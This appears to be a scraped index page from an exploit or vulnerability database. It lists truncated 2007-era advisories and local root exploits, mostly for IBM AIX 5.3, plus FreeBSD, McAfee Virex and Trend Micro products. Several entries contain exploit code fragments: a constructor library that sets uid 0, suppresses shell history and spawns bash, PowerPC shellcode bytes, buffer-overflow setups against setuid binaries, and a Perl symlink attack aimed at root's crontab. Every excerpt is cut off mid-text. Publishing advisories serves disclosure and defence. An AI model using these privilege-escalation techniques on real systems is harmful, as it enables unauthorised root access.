CVE-2007-4702

The Application Firewall in Apple Mac OS X 10.5, when "Block all incoming connections" is enabled, does not prevent root processes or mDNSResponder from accepting connections, which might allow remote attackers or local root processes to bypass intended access restrictions...

Bound check ordering issue in random driver

Stack-based buffer overflow in the random number generator RNG implementation in the Linux kernel before 2.6.22 might allow local root users to cause a denial of service or gain privileges by setting the default wakeup threshold to a value greater than the output pool size, which triggers writing...

rPSA-2007-0212-1 util-linux

rPath Security Advisory: 2007-0212-1 Published: 2007-10-08 Products: rPath Linux 1 Rating: Major Exposure Level Classification: Local Root Deterministic Privilege Escalation Updated Versions: util-linux=/conary.rpath.com@rpl:devel//1/2.12r-1.5-1 rPath Issue Tracking System:...

aix53-ftp.txt

/ 07/2007: public release qaaz@aix:$ ./aix-ftp ---------------------------- AIX ftp Local Root Exploit By qaaz ---------------------------- bash: no job control in this shell bash-3.00 / include include include include include include define TARGET "/usr/bin/ftp" define OVERLEN 300 define MAXx,y ...

aix53-capture.txt

/ 07/2007: public release qaaz@aix:$ ./aix-capture -------------------------------- AIX capture Local Root Exploit By qaaz -------------------------------- bash: no job control in this shell bash-3.00 / include include include include include include include define TARGET "/usr/bin/capture" defin...

aix53-pioout.txt

!/bin/sh 07/2007: public release echo "-------------------------------" echo " AIX pioout Local Root Exploit " echo " By qaaz" echo "-------------------------------" cat piolib.c include void init attribute constructor; void init seteuid0; setuid0; putenv"HISTFILE=/dev/null"; execl"/bin/bash",...

IBM AIX 5.3 SP6 - pioout Arbitrary Library Loading Privilege Escalation

IBM AIX 5.3 SP6 - pioout Arbitrary Library Loading Privilege Escalation !/bin/sh 07/2007: public release IBM AIX piolib.c include void init attribute constructor; void init seteuid0; setuid0; putenv"HISTFILE=/dev/null"; execl"/bin/bash", "bash", "-i", void 0; execl"/bin/sh", "sh", "-i", void 0;...

IBM AIX <= 5.3 sp6 capture Terminal Sequence Local Root Exploit

No description provided by source. / 07/2007: public release IBM AIX = 5.3 sp6 AIX capture Local Root Exploit By qaaz / include stdio.h include stdlib.h include string.h include fcntl.h include unistd.h include sys/wait.h include sys/select.h define TARGET "/usr/bin/capture" define VALCNT 40 defi...

IBM AIX <= 5.3 sp6 ftp gets() Local Root Exploit

No description provided by source. / 07/2007: public release IBM AIX = 5.3 sp6 AIX ftp Local Root Exploit By qaaz / include stdio.h include stdlib.h include string.h include unistd.h include sys/wait.h include sys/select.h define TARGET "/usr/bin/ftp" define OVERLEN 300 define MAXx,y x y ? x : y...

IBM AIX 5.3 SP6 - Capture Terminal Sequence Privilege Escalation

IBM AIX 5.3 SP6 - Capture Terminal Sequence Privilege Escalation / 07/2007: public release IBM AIX include include include include include include define TARGET "/usr/bin/capture" define VALCNT 40 define MAXx,y x y ? x : y define ALIGNx,y x + y - 1 / y y unsigned char qaazcode =...

IBM AIX <= 5.3 sp6 pioout Arbitrary Library Loading Local Root Exploit

Exploit for aix platform in category local exploits ====================================================================== IBM AIX piolib.c include void init attribute constructor; void init seteuid0; setuid0; putenv"HISTFILE=/dev/null"; execl"/bin/bash", "bash", "-i", void 0; execl"/bin/sh", "sh...

IBM AIX <= 5.3 sp6 capture Terminal Sequence Local Root Exploit

Exploit for aix platform in category local exploits =============================================================== IBM AIX include include include include include include define TARGET "/usr/bin/capture" define VALCNT 40 define MAXx,y x y ? x : y define ALIGNx,y x + y - 1 / y y unsigned char...

IBM AIX 5.3 SP6 - Capture Terminal Sequence Privilege Escalation

/ 07/2007: public release IBM AIX include include include include include include define TARGET "/usr/bin/capture" define VALCNT 40 define MAXx,y x y ? x : y define ALIGNx,y x + y - 1 / y y unsigned char qaazcode = "\x60\x60\x60\x60\x60\x60\x60\x60" "\x7c\x63\x1a\x79\x40\x82\xff\xfd"...

spamassassin symlink attack

SpamAssassin 3.1.x, 3.2.0, and 3.2.1 before 20070611, when running as root in unusual configurations using vpopmail or virtual users, allows local users to cause a denial of service corrupt arbitrary files via a symlink attack on a file that is used by spamd...

Sudo: local root compromise with krb5 enabled

The 'sudo' package can be built to use Kerberos 5 for authentication of users. When a user is properly authenticated to sudo, sudo grants that user potentially limited root privileges. Thus a mistake in the authentication code in sudo is potentially severe: it can lead to a local root compromise...

AIX 4.3 lsmcode local root command execution

It has been reported on http://www.securityfocus.com/bid/18114/ about this vulnerability in AIX 5.1 - 5.3, some exploits is published in milw0rm to exploits this issue http://milw0rm.com/exploits/701 I have an AIX 4.3 box and it seems vulnerable with this issue too bash-2.04$ mkdirhier /tmp/aap/b...

FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit

Exploit for bsd platform in category local exploits =============================================================== FreeBSD mcweject 0.9 eject Local Root Buffer Overflow Exploit =============================================================== // ejecsploit.c - local root exploit for bsd's eject.c ...

Netragard Security Advisory 2007-02-20

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Netragard, L.L.C Advisory Strategic Reconnaissance Team ------------------------------------------------ http://www.netragard.com -- "We make I.T. Safe." POSTING NOTICE - ----------------------------------------------------------------------- If you...

McAfee VirusScan for Mac (Virex) &lt;= 7.7 Local Root Exploit

No description provided by source. !/usr/bin/perl http://www.digitalmunition.com written by kf kflistsatdigitalmunitiondotcom Following symlinks is bad mmmmmmmmmmkay! $dest = "/var/cron/tabs/root"; $tgts"0" = "Virex 7.7.dmg:"/Library/Application Support/Virex/VShieldExclude.txt" "; unless $target...

Trend Micro VirusWall 3.81 - vscanVSAPI Local Buffer Overflow

Trend Micro VirusWall 3.81 - vscanVSAPI Local Buffer Overflow / Title: Local root exploit for vscan/VSAPI =Trend Micro VirusWall 3.81 on Linux Author: Sebastian Wolfgarten / [email protected] / http://www.devtarget.org Date: January 3rd, 2007 Severity: Medium Description: The product...